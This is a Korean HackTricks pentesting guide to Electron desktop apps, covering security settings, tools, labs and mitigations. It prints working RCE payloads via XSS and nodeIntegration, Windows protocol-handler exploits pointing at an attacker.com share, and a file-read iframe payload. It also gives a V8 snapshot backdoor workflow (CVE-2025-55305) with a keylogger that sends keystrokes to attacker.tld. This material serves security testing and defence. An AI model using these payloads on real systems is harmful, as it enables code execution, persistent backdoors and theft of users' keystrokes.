Electron 데스크톱 앱

Reading time: 19 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

소개

Electron은 로컬 백엔드(NodeJS)와 프런트엔드(Chromium)를 결합하지만, 최신 브라우저에 있는 일부 보안 메커니즘이 부족합니다.

보통 electron 앱 코드는 .asar 애플리케이션 안에서 발견됩니다. 코드를 얻으려면 이를 추출해야 합니다:

bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Electron 앱의 소스 코드에서 packet.json 안에 보안 설정이 적용된 main.js 파일이 지정되어 있는 것을 찾을 수 있습니다.

json
{
"name": "standard-notes",
"main": "./app/index.js",

Electron에는 2가지 프로세스 유형이 있습니다:

  • 메인 프로세스 (NodeJS에 대한 완전한 접근 권한을 가짐)
  • 렌더러 프로세스 (보안상 NodeJS 접근이 제한되어야 함)

하나의 렌더러 프로세스는 파일을 로드하는 브라우저 창이 됩니다:

javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)

main.js 파일 내부의 main process에서 renderer process의 설정을 구성할 수 있습니다. 설정이 올바르게 구성되면 일부 설정은 Electron 애플리케이션이 RCE나 다른 취약점을 얻는 것을 방지할 수 있습니다.

Electron 애플리케이션은 Node apis를 통해 기기에 접근할 수 있지만 이를 방지하도록 구성할 수 있습니다:

  • nodeIntegration - 기본값은 off입니다. 켜져 있으면 renderer process에서 node 기능에 접근할 수 있습니다.
  • contextIsolation - 기본값은 on입니다. off이면 main과 renderer 프로세스가 격리되지 않습니다.
  • preload - 기본값은 비어 있습니다.
  • sandbox - 기본값은 off입니다. NodeJS가 수행할 수 있는 동작을 제한합니다.
  • Workers에서의 Node Integration
  • nodeIntegrationInSubframes - 기본값은 off입니다.
  • 만약 **nodeIntegration**이 enabled되어 있으면, 이는 Electron 애플리케이션 내에서 iframe에 로드된 웹 페이지에서 Node.js APIs를 사용할 수 있게 합니다.
  • 만약 **nodeIntegration**이 disabled되어 있으면, preload들이 iframe에서 로드됩니다.

Example of configuration:

javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}

다음은 here에서 가져온 일부 RCE payloads:

html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />

트래픽 캡처

start-main 설정을 수정하고 다음과 같은 proxy 사용을 추가하세요:

javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Local Code Injection

로컬에서 Electron App을 실행할 수 있다면 임의의 JavaScript 코드를 실행하도록 만들 수 있다. 방법은 다음을 확인:

macOS Electron Applications Injection

RCE: XSS + nodeIntegration

만약 nodeIntegrationon으로 설정되어 있다면, 웹 페이지의 JavaScript는 require()를 호출하기만 해도 Node.js 기능을 쉽게 사용할 수 있다. 예를 들어 Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같다:

html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload

이 설정에 지정된 스크립트는 렌더러의 다른 스크립트보다 먼저 로드되므로, Node APIs에 대한 무제한 접근 권한을 갖습니다:

javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

따라서 스크립트는 node-features를 페이지로 내보낼 수 있습니다:

preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>

[!NOTE] > contextIsolation이 켜져 있으면 작동하지 않습니다

RCE: XSS + contextIsolation

The _contextIsolation_는 웹 페이지 스크립트와 Electron의 내부 JavaScript 코드 간의 분리된 컨텍스트를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE 가능성을 제거하기 위한 필수 기능입니다.

컨텍스트가 분리되어 있지 않으면 공격자는 다음을 수행할 수 있습니다:

  1. renderer에서 임의의 JavaScript를 실행할 수 있습니다 (XSS 또는 외부 사이트로의 이동)
  2. preload나 Electron 내부 코드에서 사용되는 내장 메서드를 덮어씀으로써 함수를 장악할 수 있습니다
  3. 덮어쓴 함수의 사용을 트리거할 수 있습니다
  4. RCE?

내장 메서드를 덮어쓸 수 있는 장소는 2곳이 있습니다: preload 코드 또는 Electron 내부 코드에서:

Electron contextIsolation RCE via preload code

Electron contextIsolation RCE via Electron internal code

Electron contextIsolation RCE via IPC

클릭 이벤트 우회

링크를 클릭할 때 제한이 적용되어 있다면, 일반적인 왼쪽 클릭 대신 middle click을 사용하여 해당 제한을 우회할 수 있습니다.

javascript
window.addEventListener('click', (e) => {

shell.openExternal을 통한 RCE

이 예제들에 대한 자세한 내용은 https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8https://benjamin-altpeter.de/shell-openexternal-dangers/를 참고하세요.

Electron 데스크톱 애플리케이션을 배포할 때 nodeIntegrationcontextIsolation 설정을 올바르게 하는 것이 중요합니다. 이러한 설정이 적용되면 메인 프로세스에서 preload 스크립트나 Electron의 네이티브 코드로의 client-side remote code execution (RCE) 시도가 실질적으로 차단되는 것으로 알려져 있습니다.

사용자가 링크를 클릭하거나 새 창을 열면 특정 이벤트 리스너들이 트리거되며, 이는 애플리케이션의 보안과 기능에 매우 중요합니다:

javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

이러한 리스너들은 데스크탑 애플리케이션에 의해 재정의되어 자체 비즈니스 로직을 구현합니다. 애플리케이션은 탐색된 링크를 내부에서 열지 외부 웹 브라우저에서 열지 평가합니다. 이 결정은 일반적으로 openInternally 함수를 통해 이루어집니다. 이 함수가 false를 반환하면, 링크는 외부에서 열려야 함을 의미하며 shell.openExternal 함수를 사용합니다.

Here is a simplified pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Electron JS 보안 권장사항은 openExternal 함수를 통해 신뢰할 수 없는 콘텐츠를 수락하지 않을 것을 권고합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있기 때문입니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예와 추가 설명은 this resource를 참조할 수 있으며, 여기에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예시가 포함되어 있습니다.

macOS에서 openExternal 함수는 shell.openExternal('file:///System/Applications/Calculator.app')처럼 임의의 명령을 실행하도록 악용될 수 있습니다.

Examples of Windows protocol exploits include:

html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>

RCE: webviewTag + 취약한 preload IPC + shell.openExternal

이 vuln은 **this report**에서 찾을 수 있습니다.

The webviewTag is a deprecated feature that allows the use of NodeJS in the renderer process, which should be disabled as it allows to load a script inside the preload context like:

xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>

따라서 임의의 페이지를 로드하는 데 성공한 공격자는 해당 태그를 사용해 임의의 preload script를 로드할 수 있다.

이 preload script는 악용되어 **vulnerable IPC service (skype-new-window)**를 호출했고, 해당 서비스는 **shell.openExternal**를 호출하여 RCE를 얻는 데 사용되었다:

javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();

내부 파일 읽기: XSS + contextIsolation

contextIsolation을 비활성화하면 <webview> 태그를 사용할 수 있습니다, 이는 <iframe>과 유사하며 로컬 파일을 읽고 exfiltrating할 수 있습니다. 예시에서는 이 취약점을 악용해 내부 파일의 내용을 읽는 방법을 보여줍니다:

또한, 내부 파일 읽기에 대한 또 다른 방법이 공유되어 Electron 데스크톱 앱의 심각한 로컬 파일 읽기 취약점을 강조합니다. 이 방법은 애플리케이션을 악용하고 데이터를 exfiltrate하기 위해 스크립트를 주입하는 것을 포함합니다:

html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>

RCE: XSS + 오래된 Chromium

애플리케이션에서 사용하는 chromium오래된 버전이고 그에 대한 알려진 취약점이 있다면, 이를 악용하여 XSS를 통해 RCE를 획득하는 것이 가능할 수 있습니다.
예시는 이 writeup에서 볼 수 있습니다: https://blog.electrovolt.io/posts/discord-rce/

내부 URL regex 우회를 통한 XSS Phishing

XSS를 발견했지만 RCE를 유발하거나 내부 파일을 훔칠 수 없다면, 이를 사용해 phishing을 통해 자격 증명(계정 정보)을 탈취 시도할 수 있습니다.

먼저 새로운 URL을 열려고 할 때 어떤 일이 일어나는지 알아야 하며, 프런트엔드의 JS 코드를 확인하세요:

javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

openInternally 호출은 해당 link가 플랫폼 소유의 링크로서 desktop window에서 opened 될지, or 제3자 리소스로서 browser as a 3rd party resource에서 열릴지를 결정합니다.

함수에서 사용된 regexvulnerable to bypasses한 경우(예: not escaping the dots of subdomains) 공격자는 XSS를 악용해 공격자 인프라에 위치한 open a new window which를 열어 사용자에게 asking for credentials하도록 요청할 수 있습니다:

html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

file:// 프로토콜

문서에 언급된 the docs 것처럼, **file://**에서 실행되는 페이지는 시스템의 모든 파일에 일방적으로 접근할 수 있으므로, XSS를 통해 사용자의 기기에서 임의의 파일을 로드할 수 있습니다. custom protocol을 사용하면 프로토콜을 특정 파일 집합만 제공하도록 제한할 수 있어 이러한 문제를 방지할 수 있습니다.

Remote module

Electron Remote module는 renderer processes to access main process APIs를 허용하여 Electron 애플리케이션 내 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 심각한 보안 위험이 발생합니다. 애플리케이션의 공격 표면이 확장되어 cross-site scripting (XSS) 같은 취약점에 더 취약해집니다.

tip

비록 remote 모듈이 main에서 renderer processes로 일부 API를 노출시키지만, 구성요소만을 악용해서 단순히 RCE를 얻는 것은 그리 간단하지 않습니다. 다만 구성요소가 민감한 정보를 노출할 수 있습니다.

warning

아직도 remote module을 사용하는 많은 앱은 renderer process에서 NodeIntegration이 활성화되어야 함과 같은 방식으로 구현되어 있는데, 이는 심각한 보안 위험입니다.

Electron 14 이후로 remote 모듈은 여러 단계에서 활성화될 수 있지만, 보안 및 성능상의 이유로 사용하지 않을 것을 권장합니다.

활성화하려면 먼저 main process에서 활성화해야 합니다:

javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)

그런 다음, renderer 프로세스는 해당 모듈에서 객체를 다음과 같이 import할 수 있습니다:

javascript
import { dialog, getCurrentWindow } from '@electron/remote'

해당 **blog post**는 remote 모듈의 객체 **app**이 노출하는 몇 가지 흥미로운 함수들을 설명합니다:

  • app.relaunch([options])

  • 현재 인스턴스를 종료하고 새 인스턴스를 실행하여 애플리케이션을 재시작합니다. 앱 업데이트나 중요한 상태 변경에 유용합니다.

  • app.setAppLogsPath([path])

  • 앱 로그를 저장할 디렉토리를 정의하거나 생성합니다. 로그는 app.getPath() 또는 **app.setPath(pathName, newPath)**를 사용해 가져오거나 수정할 수 있습니다.

  • app.setAsDefaultProtocolClient(protocol[, path, args])

  • 지정한 프로토콜에 대해 현재 실행 파일을 기본 핸들러로 등록합니다. 필요하면 커스텀 경로인수를 제공할 수 있습니다.

  • app.setUserTasks(tasks)

  • Windows의 Jump ListTasks 카테고리에 작업을 추가합니다. 각 작업은 앱이 어떻게 실행되는지 또는 어떤 인수가 전달되는지를 제어할 수 있습니다.

  • app.importCertificate(options, callback)

  • PKCS#12 certificate를 시스템의 certificate store가져옵니다 (Linux에서만). 결과 처리를 위해 callback을 사용할 수 있습니다.

  • app.moveToApplicationsFolder([options])

  • 애플리케이션을 Applications folder이동합니다 (macOS). Mac 사용자를 위한 표준 설치를 보장하는 데 도움이 됩니다.

  • app.setJumpList(categories)

  • Windows에서 커스텀 Jump List설정하거나 제거합니다. 작업이 사용자에게 어떻게 표시될지 정리하기 위해 categories를 지정할 수 있습니다.

  • app.setLoginItemSettings(settings)

  • 어떤 실행 파일들이 로그인 시 실행될지 및 그 옵션들을 구성합니다 (macOS 및 Windows에서만).

예:

javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()

systemPreferences 모듈

Electron에서 시스템 환경설정에 접근하고 시스템 이벤트를 발생시키는 주요 API입니다. subscribeNotification, subscribeWorkspaceNotification, getUserDefault, setUserDefault 같은 메서드들은 모두 이 모듈의 일부입니다.

사용 예시:

javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);

subscribeNotification / subscribeWorkspaceNotification

  • NSDistributedNotificationCenter를 사용하여 macOS 네이티브 알림수신합니다.
  • macOS Catalina 이전에는 CFNotificationCenterAddObserver에 nil을 전달하여 모든 분산 알림을 스니핑할 수 있었습니다.
  • Catalina / Big Sur 이후에는 sandboxed 앱이 여전히 이름으로 등록하여 여러 이벤트(예: 화면 잠금/해제, 볼륨 마운트, 네트워크 활동 등)를 구독할 수 있습니다.

getUserDefault / setUserDefault

  • NSUserDefaults인터페이스하며 macOS의 애플리케이션 또는 글로벌 환경설정을 저장합니다.

  • getUserDefault최근 파일 위치사용자의 지리적 위치와 같은 민감한 정보를 가져올 수 있습니다.

  • setUserDefault는 이러한 환경설정을 수정하여 앱의 구성에 영향을 줄 수 있습니다.

  • older Electron versions(v8.3.0 이전)에서는 NSUserDefaults의 standard suite접근 가능했습니다.

Shell.showItemInFolder

이 함수는 파일 관리기에서 지정된 파일을 표시하며, 이는 파일을 자동으로 실행할 수 있습니다.

For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html

Content Security Policy

Electron 앱은 **Content Security Policy (CSP)**를 적용하여 XSS 공격을 방지해야 합니다. CSP는 브라우저에서 신뢰할 수 없는 코드의 실행을 방지하는 데 도움이 되는 보안 표준입니다.

보통 main.js 파일이나 index.html 템플릿 내의 meta 태그 안에 CSP를 설정합니다.

For more information check:

Content Security Policy (CSP) Bypass

도구

  • Electronegativity 는 Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티패턴을 식별하는 도구입니다.
  • Electrolint 은 Electronegativity를 사용하는 Electron 애플리케이션용 오픈 소스 VS Code 플러그인입니다.
  • nodejsscan 은 취약한 서드파티 라이브러리를 검사하는 도구입니다.
  • Electro.ng: 유료(구매 필요)

Labs

In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s 에서 취약한 Electron 앱을 익스플로잇하는 실습을 찾을 수 있습니다.

실습에서 도움이 되는 몇 가지 명령:

bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305

Electron 및 Chromium 기반 앱은 시작 시 미리 빌드된 V8 heap snapshot을 역직렬화하여 각 V8 isolate(main, preload, renderer)를 초기화합니다 (v8_context_snapshot.bin, 및 선택적으로 browser_v8_context_snapshot.bin). 역사적으로 Electron의 integrity fuses는 이러한 스냅샷을 실행 가능한 콘텐츠로 취급하지 않았기 때문에 fuse 기반 무결성 강제와 OS의 코드 서명 검사를 모두 회피했습니다. 그 결과, 사용자가 쓰기 가능한 설치 경로에 있는 스냅샷을 교체하면 서명된 바이너리나 ASAR를 수정하지 않고도 앱 내부에서 은밀하고 지속적인 코드 실행이 가능했습니다.

Key points

  • Integrity gap: EnableEmbeddedAsarIntegrityValidation 및 OnlyLoadAppFromAsar는 ASAR 내부의 앱 JavaScript를 검증하지만 V8 heap snapshots는 포함하지 않았습니다 (CVE-2025-55305). Chromium 또한 스냅샷에 대한 무결성 검사를 수행하지 않습니다.
  • Attack preconditions: 앱 설치 디렉터리에 대한 로컬 파일 쓰기 권한. 이는 Electron 앱이나 Chromium 브라우저가 사용자 쓰기 가능한 경로에 설치되는 시스템에서 흔합니다 (예: Windows의 %AppData%\Local; macOS의 /Applications는 주의사항 있음).
  • Effect: 자주 사용되는 builtin(“gadget”)을 덮어써 어떤 isolate에서도 공격자 JavaScript를 신뢰성 있게 실행할 수 있어 지속성 및 코드 서명 검증 회피가 가능합니다.
  • Affected surface: 사용자 쓰기 가능한 위치에서 스냅샷을 로드하는 Electron 앱(심지어 fuses가 활성화된 경우도 포함) 및 Chromium 기반 브라우저.

Generating a malicious snapshot without building Chromium

  • Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.

Example minimal payload (prove execution by forcing a crash)

js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file

const orig = Array.isArray;

// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};

Isolate-aware payload routing (main과 renderer에서 서로 다른 코드를 실행)

  • Main process detection: Node 전용 전역(process.pid, process.binding(), process.dlopen 등)은 main 프로세스 isolate에 존재합니다.
  • Browser/renderer detection: 문서 컨텍스트에서 실행될 때 Browser 전용 전역(alert 등)을 사용할 수 있습니다.

Example gadget that probes main-process Node capabilities once

js
const orig = Array.isArray;

Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');

// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};

Renderer/browser-context 데이터 탈취 PoC (예: Slack)

js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}

if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};

운영자 워크플로우

  1. 공통 builtin(예: Array.isArray)을 덮어쓰는 payload.js를 작성하고, 선택적으로 isolate별 분기를 추가한다.
  2. Chromium 소스 없이 snapshot을 빌드한다:
  • npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
  1. 대상 애플리케이션의 snapshot 파일을 덮어쓴다:
  • v8_context_snapshot.bin (항상 사용)
  • browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
  1. 애플리케이션을 실행하면 선택한 builtin이 사용될 때마다 gadget이 실행된다.

주의 및 고려사항

  • Integrity/signature bypass: Snapshot 파일은 코드 서명 검사에서 네이티브 실행 파일로 취급되지 않으며 (역사적으로) Electron’s fuses나 Chromium 무결성 통제에 포함되지 않았다.
  • Persistence: 사용자 쓰기 가능한 설치 위치의 snapshot을 교체하면 일반적으로 앱 재시작을 견디며 서명된 정상 앱처럼 보인다.
  • Chromium browsers: 동일한 변조 개념이 사용자 쓰기 가능한 위치에 설치된 Chrome/derivatives에도 적용된다. Chrome은 다른 무결성 완화책을 가지고 있지만 물리적으로 로컬한 공격은 위협 모델에서 명시적으로 제외한다.

탐지 및 완화

  • snapshot을 실행 가능한 콘텐츠로 취급하고 무결성 강제 대상에 포함시킨다 (CVE-2025-55305 fix).
  • 관리자 전용 쓰기 가능한 설치 위치를 권장한다; v8_context_snapshot.bin과 browser_v8_context_snapshot.bin의 해시를 기준선으로 설정하고 모니터링한다.
  • 초기 런타임에서의 builtin 덮어쓰기와 예상치 못한 snapshot 변경을 탐지하고; 역직렬화된 snapshot이 예상 값과 일치하지 않으면 경보를 발생시킨다.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기